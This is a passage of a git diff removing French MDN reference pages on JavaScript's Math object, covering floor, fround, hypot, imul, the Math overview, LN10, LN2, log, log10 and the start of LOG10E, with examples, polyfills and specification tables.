- -

Description

- -

floor() est une méthode statique de l'objet Math, elle doit toujours être utilisée avec la syntaxe  Math.floor(), elle ne doit pas être utilisée avec un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -
-

Note : Math.floor(null) renvoie 0 et pas {{jsxref("NaN")}}.

-
- -

Exemples

- -

Utiliser Math.floor

- -
Math.floor( 45.95); //  45
-Math.floor( 45.05); //  45
-Math.floor(  4   ); //   4
-Math.floor(-45.05); // -46
-Math.floor(-45.95); // -46
-Math.floor(null);   // 0
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.9', 'Math.floor')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.floor', 'Math.floor')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.floor', 'Math.floor')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.floor")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.abs()")}}
    • -
  • {{jsxref("Math.ceil()")}}
    • -
  • {{jsxref("Math.round()")}}
    • -
  • {{jsxref("Math.sign()")}}
    • -
  • {{jsxref("Math.trunc()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/fround/index.html b/files/fr/web/javascript/reference/objets_globaux/math/fround/index.html deleted file mode 100644 index 59ca437b06..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/fround/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Math.fround() -slug: Web/JavaScript/Reference/Objets_globaux/Math/fround -tags: - - ECMAScript6 - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/fround ---- -
{{JSRef}}
- -

La fonction Math.fround() renvoie le nombre flottant à précision simple sur 32 bits qui est le plus proche du nombre fourni.

- -
{{EmbedInteractiveExample("pages/js/math-fround.html")}}
- - - -

Syntaxe

- -
Math.fround(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

Le nombre flottant à précision simple sur 32 bits qui est le plus proche de la valeur fournie en argument.

- -

Description

- -

Un moteur JavaScript utilise des nombres flottant à précision simple sur 64 bits. Cela permet d'obtenir une précision fine. Toutefois, lorsqu'on manipule des valeurs représentées sur 32 bits (par exemple des valeurs extraites d'un {{jsxref("Float32Array")}}) et qu'on souhaite comparer celles-ci avec des valeurs sur 32 bits, on peut obtenir des inégalités alors que les valeurs semblent identiques.

- -

Pour résoudre ce problème, on peut utiliser Math.fround() afin de transformer un nombre représenté sur 64 bits en un nombre représenté sur 32 bits. Pour le moteur JavaScript, la valeur sera toujours représentée sur 64 bits mais elle aura été « arrondie » à partir du 23e bit de la mantisse. Si le nombre passé en argument se situe en dehors de l'intervalle représentable sur 32 bits, la méthode renverra {{jsxref("Infinity")}} ou -Infinity.

- -

fround étant une méthode statique de Math, il faut utiliser Math.fround() et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.fround()

- -
Math.fround(0);     // 0
-Math.fround(1);     // 1
-
-// 1.337 ne peut pas être représenté correctement
-// sur 32 bits
-Math.fround(1.337); // 1.3370000123977661
-
-Math.fround(1.5);   // 1.5
-Math.fround(NaN);   // NaN
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.fround', 'Math.fround')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.fround', 'Math.fround')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.fround")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.round()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/hypot/index.html b/files/fr/web/javascript/reference/objets_globaux/math/hypot/index.html deleted file mode 100644 index 90c6ec6690..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/hypot/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Math.hypot() -slug: Web/JavaScript/Reference/Objets_globaux/Math/hypot -tags: - - ECMAScript6 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/hypot ---- -
{{JSRef}}
- -

La fonction Math.hypot() renvoie la racine carrée de la somme des carrés de ses arguments. On peut également la définir avec la formule suivante :

- -

Math.hypot(v1,v2,…,vn)=∑i=1nvi2=v12+v22+…+vn2\mathtt{\operatorname{Math.hypot}(v_1, v_2, \dots, v_n)} = \sqrt{\sum_{i=1}^n v_i^2} = \sqrt{v_1^2 + v_2^2 + \dots + v_n^2}

- -
{{EmbedInteractiveExample("pages/js/math-hypot.html")}}
- - - -

Syntaxe

- -
Math.hypot([valeur1[,valeur2, ...]])
- -

Paramètres

- -
-
valeur1, valeur2, ...
-
Des nombres.
-
- -

Valeur de retour

- -

La racine carrée de la somme des carrés des arguments. S'il existe un des arguments qui ne peut pas être converti en un nombre, c'est la valeur {{jsxref("NaN")}} qui sera renvoyée.

- -

Description

- -

hypot() étant une méthode statique de Math, il faut utiliser Math.hypot()et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Si aucun argument n'est donné, le résultat sera +0.Si, parmi les arguments, au moins un ne peut pas être converti en un nombre, le résultat sera {{jsxref("NaN")}}.Si cette fonction est utilisée avec un argument : Math.hypot(x) sera équivalente à Math.abs(x).

- -

Cette fonction permet entre autres de gérer certains cas où, pour les grands nombres, l'utilisation de {{jsxref("Math.sqrt()")}} aurait renvoyé {{jsxref("Infinity")}} à cause des calculs intermédiaires.

- -

Exemples

- -

Utiliser Math.hypot()

- -
Math.hypot(3, 4)        // 5
-Math.hypot(3, 4, 5)     // 7.0710678118654755
-Math.hypot()            // 0
-Math.hypot(NaN)         // NaN
-Math.hypot(3, 4, "toto") // NaN, +"toto" => NaN
-Math.hypot(3, 4, "5")   // 7.0710678118654755, +"5" => 5
-Math.hypot(-3)          // 3, the same as Math.abs(-3)
-
- -

Prothèse d'émulation (polyfill)

- -

Si elle n'est pas disponible, cette fonction peut être émulée de la façon suivante :

- -
Math.hypot =  Math.hypot || function() {
-    var y = 0;
-    var length = arguments.length;
-
-    for (var i = 0; i < length; i++) {
-      if(arguments[i] === Infinity || arguments[i] === -Infinity) {
-        return Infinity;
-      }
-      y += arguments[i] * arguments[i];
-    }
-    return Math.sqrt(y);
-};
-
- -

Voici une seconde version qui évite les dépassements :

- -
Math.hypot = function (x, y) {
-  // https://bugzilla.mozilla.org/show_bug.cgi?id=896264#c28
-  var max = 0;
-  var s = 0;
-  for (var i = 0; i < arguments.length; i += 1) {
-    var arg = Math.abs(Number(arguments[i]));
-    if (arg > max) {
-      s *= (max / arg) * (max / arg);
-      max = arg;
-    }
-    s += arg === 0 && max === 0 ? 0 : (arg / max) * (arg / max);
-  }
-  return max === 1 / 0 ? 1 / 0 : max * Math.sqrt(s);
-};
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.hypot', 'Math.hypot')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-math.hypot', 'Math.hypot')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.hypot")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.abs()")}}
    • -
  • {{jsxref("Math.pow()")}}
    • -
  • {{jsxref("Math.sqrt()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/imul/index.html b/files/fr/web/javascript/reference/objets_globaux/math/imul/index.html deleted file mode 100644 index 3eb75d949d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/imul/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Math.imul() -slug: Web/JavaScript/Reference/Objets_globaux/Math/imul -tags: - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/imul ---- -
{{JSRef}}
- -

La fonction Math.imul() renvoie le résultat de la multiplication de deux nombres, calculée avec la représentation sur 32 bits de ces nombres, à la façon du langage C.

- -
{{EmbedInteractiveExample("pages/js/math-imul.html")}}
- - - -

Syntaxe

- -
Math.imul(a, b)
- -

Paramètres

- -
-
a
-
Le premier nombre.
-
b
-
Le second nombre.
-
- -

Valeur de retour

- -

Le résultat de la multiplication sur 32 bits des valeurs passées en argument (comme en C).

- -

Description

- -

Math.imul() permet d'effectuer une multiplication rapide pour des entiers sur 32 bits avec une sémantique proche du langage C. Cela est utile pour des aspects de performance, notamment pour des projets comme Emscripten. imul() étant une méthode statique de Math, il faut utiliser Math.imul() et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur). Attention à l'utilisation de nombres flottants avec Math.imul() car cela implique une opération de conversion des flottants vers les entiers pour la multiplication puis une opération de conversion du résultat en flottant. Dans la pratique, Math.imul() est notamment pertinent pour asm.js.

- -

Exemples

- -

Utiliser Math.imul()

- -
Math.imul(2, 4);          // 8
-Math.imul(-1, 8);         //-8
-Math.imul(-2, -2);        // 4
-Math.imul(0xffffffff, 5); //-5
-Math.imul(0xfffffffe, 5); //-10
-
- -

Prothèse d'émulation (polyfill)

- -

Si elle n'est pas disponible, cette fonction peut être émulée de la façon suivante :

- -
Math.imul = Math.imul || function(a, b) {
-  var ah  = (a >>> 16) & 0xffff;
-  var al = a & 0xffff;
-  var bh  = (b >>> 16) & 0xffff;
-  var bl = b & 0xffff;
-  // Le décalage par 0 rétablit le signe de la partie haute
-  // le |0 final convertit la valeur non-signée en une valeur signée
-  return ((al * bl) + (((ah * bl + al * bh) << 16) >>> 0)|0);
-};
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.imul', 'Math.imul')}}{{Spec2('ES6')}}Définition initiale
{{SpecName('ESDraft', '#sec-math.imul', 'Math.imul')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.imul")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/math/index.html b/files/fr/web/javascript/reference/objets_globaux/math/index.html deleted file mode 100644 index 231f165879..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/index.html +++ /dev/null @@ -1,173 +0,0 @@ ---- -title: Math -slug: Web/JavaScript/Reference/Objets_globaux/Math -tags: - - JavaScript - - Math - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math ---- -
{{JSRef}}
- -

L'objet Math est un objet natif dont les méthodes et propriétés permettent l'utilisation de constantes et fonctions mathématiques. Cet objet n'est pas une fonction.

- -
-

Attention ! Math fonctionne avec le type {{jsxref("Number")}}. Il ne fonctionne pas avec les grands entiers/{{jsxref("BigInt")}}.

-
- -

Description

- -

Contrairement aux autres objets globaux, Math n'est pas un constructeur. Toutes les propriétés et les méthodes de Math sont statiques (pour éventuellement étendre cette API, ce qui est fortement déconseillé, on n'utilisera donc pas Math.prototype).

- -

Pour accéder à la constante PI, on utilise Math.PI.
- Pour accéder à la fonction sinus, on utilise Math.sin(x) où x est l'argument de cette méthode.

- -

Les constantes sont définies avec la précision des nombres réels en JavaScript.

- -

Propriétés

- -
-
{{jsxref("Math.E")}}
-
Nombre d'Euler, la base des logarithmes naturels, environ 2,718.
-
{{jsxref("Math.LN2")}}
-
Logarithme naturel de 2, environ 0,693.
-
{{jsxref("Math.LN10")}}
-
Logarithme naturel de 10, environ 2,302.
-
{{jsxref("Math.LOG2E")}}
-
Logarithme de base 2 de E, environ 1,442.
-
{{jsxref("Math.LOG10E")}}
-
Logarithme de base 10 de E, environ 0,434.
-
{{jsxref("Math.PI")}}
-
Quotient de la circonférence d'un cercle par son diamètre, environ 3,14159.
-
{{jsxref("Math.SQRT1_2")}}
-
Racine carrée de 1/2 ; équivalent de 1 sur la racine carrée de 2, environ 0,707.
-
{{jsxref("Math.SQRT2")}}
-
Racine carrée de 2, environ 1,414.
-
- -

Méthodes

- -
Les fonctions trigonométriques (sin(), cos(), tan(), asin(), acos(), atan(), atan2()) acceptent ou retournent des angles en radians.
-Pour convertir des degrés en radians, multipliez la valeur en degrés par (Math.PI / 180).
-Pour passer des radians en degrés, divisez la valeur en radians par (Math.PI / 180).
- -
La précision des fonctions mathématiques dépend notamment de l'implémentation. Cela signifie que différents navigateurs peuvent fournir des résultats différents. On peut même avoir un même moteur JavaScript qui, sur des architectures et/ou des systèmes d'exploitation différents, fournit des résultats différents.
- -
-
{{jsxref("Objets_globaux/Math/abs", "Math.abs(x)")}}
-
Retourne la valeur absolue d'un nombre.
-
{{jsxref("Objets_globaux/Math/acos", "Math.acos(x)")}}
-
Retourne l'arc cosinus d'un nombre.
-
{{jsxref("Objets_globaux/Math/acosh", "Math.acosh(x)")}}
-
Retourne l'arc cosinus hyperbolique d'un nombre.
-
{{jsxref("Objets_globaux/Math/asin", "Math.asin(x)")}}
-
Retourne l'arc sinus d'un nombre.
-
{{jsxref("Objets_globaux/Math/asinh", "Math.asinh(x)")}}
-
Retourne l'arc sinus hyperbolique d'un nombre.
-
{{jsxref("Objets_globaux/Math/atan", "Math.atan(x)")}}
-
Retourne l'arc tangente d'un nombre.
-
{{jsxref("Objets_globaux/Math/atanh", "Math.atanh(x)")}}
-
Retourne l'arc tangente hyperbolique d'un nombre
-
{{jsxref("Objets_globaux/Math/atan2", "Math.atan2(y, x)")}}
-
Retourne l'arc tangente du quotient de ses arguments.
-
{{jsxref("Objets_globaux/Math/cbrt", "Math.cbrt(x)")}}
-
Renvoie la racine cubique d'un nombre.
-
{{jsxref("Objets_globaux/Math/ceil", "Math.ceil(x)")}}
-
Retourne le plus petit entier supérieur ou égal à la valeur passée en paramètre.
-
{{jsxref("Objets_globaux/Math/clz32", "Math.clz32(x)")}}
-
Renvoie le nombre de zéros qui préfixent un entier sur 32 bits.
-
{{jsxref("Objets_globaux/Math/cos", "Math.cos(x)")}}
-
Retourne le cosinus d'un nombre.
-
{{jsxref("Objets_globaux/Math/cosh", "Math.cosh(x)")}}
-
Renvoie le cosinus hyperbolique d'un nombre.
-
{{jsxref("Objets_globaux/Math/exp", "Math.exp(x)")}}
-
Renvoie l'exponentielle d'un nombre (soit Enombre) avec E la constante d'Euler (2,718...).
-
{{jsxref("Objets_globaux/Math/expm1", "Math.expm1(x)")}}
-
Renvoie le résultat de 1 moins l'exponentielle d'un nombre.
-
{{jsxref("Objets_globaux/Math/floor", "Math.floor(x)")}}
-
Retourne le plus grand entier inférieur ou égal à la valeur passée en paramètre.
-
{{jsxref("Objets_globaux/Math/fround", "Math.fround(x)")}}
-
Renvoie le nombre flottant exprimé sur 32 bits le plus proche de l'argument.
-
{{jsxref("Objets_globaux/Math/hypot", "Math.hypot([x[,y[,…]]])")}}
-
Retourne la racine carré de la somme des carrés des arguments.
-
{{jsxref("Objets_globaux/Math/imul", "Math.imul(x, y)")}}
-
Retourne le résultat de la multiplication d'entiers sur 32 bits.
-
{{jsxref("Objets_globaux/Math/log", "Math.log(x)")}}
-
Retourne le logarithme naturel (loge) d'un nombre.
-
{{jsxref("Objets_globaux/Math/log1p", "Math.log1p(x)")}}
-
Retourne le logarithme naturel de 1 + un nombre.
-
{{jsxref("Objets_globaux/Math/log10", "Math.log10(x)")}}
-
Retourne le logarithme en base 10 d'un nombre.
-
{{jsxref("Objets_globaux/Math/log2", "Math.log2(x)")}}
-
Retourne le logarithme en base 2 d'un nombre.
-
{{jsxref("Objets_globaux/Math/max", "Math.max([x[,y[,…]]])")}}
-
Retourne la plus grande valeur d'une liste de nombres.
-
{{jsxref("Objets_globaux/Math/min", "Math.min([x[,y[,…]]])")}}
-
Retourne la plus petite valeur d'une liste de nombres.
-
{{jsxref("Objets_globaux/Math/pow", "Math.pow(x,y)")}}
-
Retourne le calcul de x à la puissance y (x correspond à la base et y à l'exposant).
-
{{jsxref("Objets_globaux/Math/random", "Math.random()")}}
-
Retourne un nombre pseudo-aléatoire compris entre 0 (inclus) et 1 (exclu).
-
{{jsxref("Objets_globaux/Math/round", "Math.round(x)")}}
-
Retourne l'arrondi d'un nombre.
-
{{jsxref("Objets_globaux/Math/sign", "Math.sign(x)")}}
-
Retourne le signe d'un nombre, indiquant s'il est positif, négatif ou égal à zéro.
-
{{jsxref("Objets_globaux/Math/sin", "Math.sin(x)")}}
-
Retourne le sinus d'un nombre.
-
{{jsxref("Objets_globaux/Math/sinh", "Math.sinh(x)")}}
-
Retourne le sinus hyperbolique d'un nombre.
-
{{jsxref("Objets_globaux/Math/sqrt", "Math.sqrt(x)")}}
-
Retourne la racine carrée d'un nombre.
-
{{jsxref("Objets_globaux/Math/tan", "Math.tan(x)")}}
-
Retourne la tangente d'un nombre.
-
{{jsxref("Objets_globaux/Math/tanh", "Math.tanh(x)")}}
-
Retourne la tangente hyperbolique d'un nombre
-
Math.toSource() {{Non-standard_inline}}
-
Renvoie la chaîne de caractères "Math".
-
{{jsxref("Objets_globaux/Math/trunc", "Math.trunc(x)")}}
-
Retourne la partie entière d'un nombre (la partie décimale est retirée).
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1
{{SpecName('ES5.1', '#sec-15.8', 'Math')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math-object', 'Math')}}{{Spec2('ES6')}}Nouvelles méthodes ajoutées : {{jsxref("Math.log10()", "log10()")}}, {{jsxref("Math.log2()", "log2()")}}, {{jsxref("Math.log1p()", "log1p()")}}, {{jsxref("Math.expm1()", "expm1()")}}, {{jsxref("Math.cosh()", "cosh()")}}, {{jsxref("Math.sinh()", "sinh()")}}, {{jsxref("Math.tanh()", "tanh()")}}, {{jsxref("Math.acosh()", "acosh()")}}, {{jsxref("Math.asinh()", "asinh()")}}, {{jsxref("Math.atanh()", "atanh()")}}, {{jsxref("Math.hypot()", "hypot()")}}, {{jsxref("Math.trunc()", "trunc()")}}, {{jsxref("Math.sign()", "sign()")}}, {{jsxref("Math.imul()", "imul()")}}, {{jsxref("Math.fround()", "fround()")}}, {{jsxref("Math.cbrt()", "cbrt()")}} et {{jsxref("Math.clz32()", "clz32()")}}.
{{SpecName('ESDraft', '#sec-math-object', 'Math')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/ln10/index.html b/files/fr/web/javascript/reference/objets_globaux/math/ln10/index.html deleted file mode 100644 index e9eae9acc2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/ln10/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Math.LN10 -slug: Web/JavaScript/Reference/Objets_globaux/Math/LN10 -tags: - - JavaScript - - Math - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN10 ---- -
{{JSRef}}
- -

La propriété Math.LN10 représente la valeur du logarithme naturel de 10, environ 2.302 :

- -

Math.LN10=ln(10)≈2.302\mathtt{\mi{Math.LN10}} = \ln(10) \approx 2.302

- -
{{EmbedInteractiveExample("pages/js/math-ln10.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

LN10 est une propriété statique de Math, elle doit toujours être utilisée avec la syntaxe Math.LN10, et ne pas être appelée comme propriété d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.LN10

- -

La fonction suivante renvoie le logarithme naturel de 10 :

- -
function getNatLog10() {
-   return Math.LN10;
-}
-
-getNatLog10(); // 2.302585092994046
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.2', 'Math.LN10')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.ln10', 'Math.LN10')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.ln10', 'Math.LN10')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.LN10")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.log10()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/ln2/index.html b/files/fr/web/javascript/reference/objets_globaux/math/ln2/index.html deleted file mode 100644 index 89db2712fd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/ln2/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Math.LN2 -slug: Web/JavaScript/Reference/Objets_globaux/Math/LN2 -tags: - - JavaScript - - Math - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN2 ---- -
{{JSRef}}
- -

La propriété Math.LN2 représente le logarithme naturel de 2, environ 0.693:

- -

Math.LN2=ln(2)≈0.693\mathtt{\mi{Math.LN2}} = \ln(2) \approx 0.693

- -
{{EmbedInteractiveExample("pages/js/math-ln2.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

LN2 est une propriété statique de l'objet Math, il doit toujours être utilisé avec la syntaxe Math.LN2, et non pas être utilisé comme la propriété d'un objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.LN2

- -

La fonction suivante renvoie le logarithme en base 2 d'un nombre en utilisant la valeur de Math.LN2 :

- -
function getLog2(x) {
-  return Math.log(x) / Math.LN2;
-}
-
-getLog2(256); // 8
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.3', 'Math.LN2')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.ln2', 'Math.LN2')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.ln2', 'Math.LN2')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.LN2")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.log2()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log/index.html deleted file mode 100644 index 177215b74b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/log/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Math.log() -slug: Web/JavaScript/Reference/Objets_globaux/Math/log -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/log ---- -
{{JSRef}}
- -

La fonction Math.log() renvoie le logarithme naturel (aussi appelé logarithme népérien) d'un nombre, défini par :

- -

∀x>0,Math.log(x)=ln(x)=le seul ytel queey=x\forall x > 0, \mathtt{\operatorname{Math.log}(x)} = \ln(x) = \text{the unique} \; y \; \text{such that} \; e^y = x

- -
{{EmbedInteractiveExample("pages/js/math-log.html")}}
- - - -

Syntaxe

- -
Math.log(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

Le logarithme naturelle de la valeur passée en argument. Si cette valeur est négative, c'est {{jsxref("NaN")}} qui est renvoyé.

- -

Description

- -

Si la valeur de l'argument est négative, la valeur renvoyée sera {{jsxref("NaN")}}. Si la valeur de l'argument est 0, la valeur de retour sera {{jsxref("Number.NEGATIVE_INFINITY", "-Infinity")}}.

- -

log() est une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.log(), elle ne doit pas être utilisée à partir d'un autre objet qui aurait été créé (Math n'est pas un constructeur). Si on veut utiliser les constantes données par les logarithmes naturels de 2 ou 10, on pourra utiliser les constantes {{jsxref("Math.LN2")}} ou {{jsxref("Math.LN10")}}. De même pour les logarithmes en base 2 ou en base 10, on pourra utiliser {{jsxref("Math.log2()")}} or {{jsxref("Math.log10()")}}.

- -

Exemples

- -

Utiliser Math.log()

- -
Math.log(-1); // NaN, valeur en dehors de l'intervalle de définition
-Math.log(0);  // -Infinity
-Math.log(1);  // 0
-Math.log(10); // 2.302585092994046
- -

Utiliser Math.log pour construire un logarithme sur une autre base

- -

La fonction suivante renvoie le logarithme de y en base x (c'est-à-dire logx y):

- -
function getBaseLog(x, y) {
-    return Math.log(y) / Math.log(x);
-}
- -

Si on exécute getBaseLog(10, 1000), on obtiendra 2.9999999999999996 en raison de l'arrondi du à la représentation en nombre flottant (le résultat exact étant 3).

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.10', 'Math.log')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.log', 'Math.log')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.log', 'Math.log')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.log")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log1p()")}}
    • -
  • {{jsxref("Math.log10()")}}
    • -
  • {{jsxref("Math.log2()")}}
    • -
  • {{jsxref("Math.pow()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log10/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log10/index.html deleted file mode 100644 index 724247091b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/log10/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Math.log10() -slug: Web/JavaScript/Reference/Objets_globaux/Math/log10 -tags: - - ECMAScript 2015 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/log10 ---- -
{{JSRef}}
- -

La fonction Math.log10() renvoie le logarithme en base 10 d'un nombre, donné par la formule :

- -

∀x>0,Math.log10(x)=log10(x)=l'unique  ytel que10y=x\forall x > 0, \mathtt{\operatorname{Math.log10}(x)} = \log_10(x) = \text{the unique} \; y \; \text{such that} \; 10^y = x

- -
{{EmbedInteractiveExample("pages/js/math-log10.html")}}
- - - -

Syntaxe

- -
Math.log10(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

Le logarithme en base 10 du nombre passé en argument. Si cette valeur est négative, c'est {{jsxref("NaN")}} qui sera renvoyé.

- -

Description

- -

Si la valeur de l'argument est strictement inférieure à 0, la valeur renvoyée à {{jsxref("NaN")}}.

- -

log10() étant une méthode statique de Math, il faut utiliser Math.log10()et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur). Cette fonction est équivalente à la fonction donnée par Math.log(x) / Math.log(10).

- -

Exemple

- -

Utiliser Math.log10()

- -
Math.log10(2);      // 0.3010299956639812
-Math.log10(1);      // 0
-Math.log10(0);      // -Infinity
-Math.log10(-2);     // NaN
-Math.log10(100000); // 5
-
- -

Prothèse d'émulation (polyfill)

- -

Il est possible d'avoir un résultat approximatif avec la fonction suivante :

- -
Math.log10 = Math.log10 || function(x) {
-  return Math.log(x) * Math.LOG10E;
-};
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.log10', 'Math.log10')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.log10', 'Math.log10')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.log10")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.log1p()")}}
    • -
  • {{jsxref("Math.log2()")}}
    • -
  • {{jsxref("Math.pow()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log10e/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log10e/index.html deleted file mode 100644 index 7ea27eefbc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/log10e/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Math.LOG10E -slug: Web/JavaScript/Reference/Objets_globaux/Math/LOG10E -tags: - - JavaScript - - Math - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG10E ---- -
{{JSRef}}
- -

La propriété Math.LOG10E fournit la valeur du logarithme en base 10 de e, environ 0.434 :

- -

Math.LOG10E=log10(e)≈0.434\mathtt{\mi{Math.LOG10E}} = \log_10(e) \approx 0.434

- -
{{EmbedInteractiveExample("pages/js/math-log10e.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

LOG10E étant une propriété statique de Math, elle doit toujours être utilisée avec la syntaxe Math.LOG10E et ne pas être appelée comme propriété d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.LOG10E

- -

La fonction suivante renvoie le logarithme en base 10 de e :

- -
function getLog10e() {
-   return Math.LOG10E;
-}
-
-getLog10e(); // 0.4342944819032518
- -

Spécifications

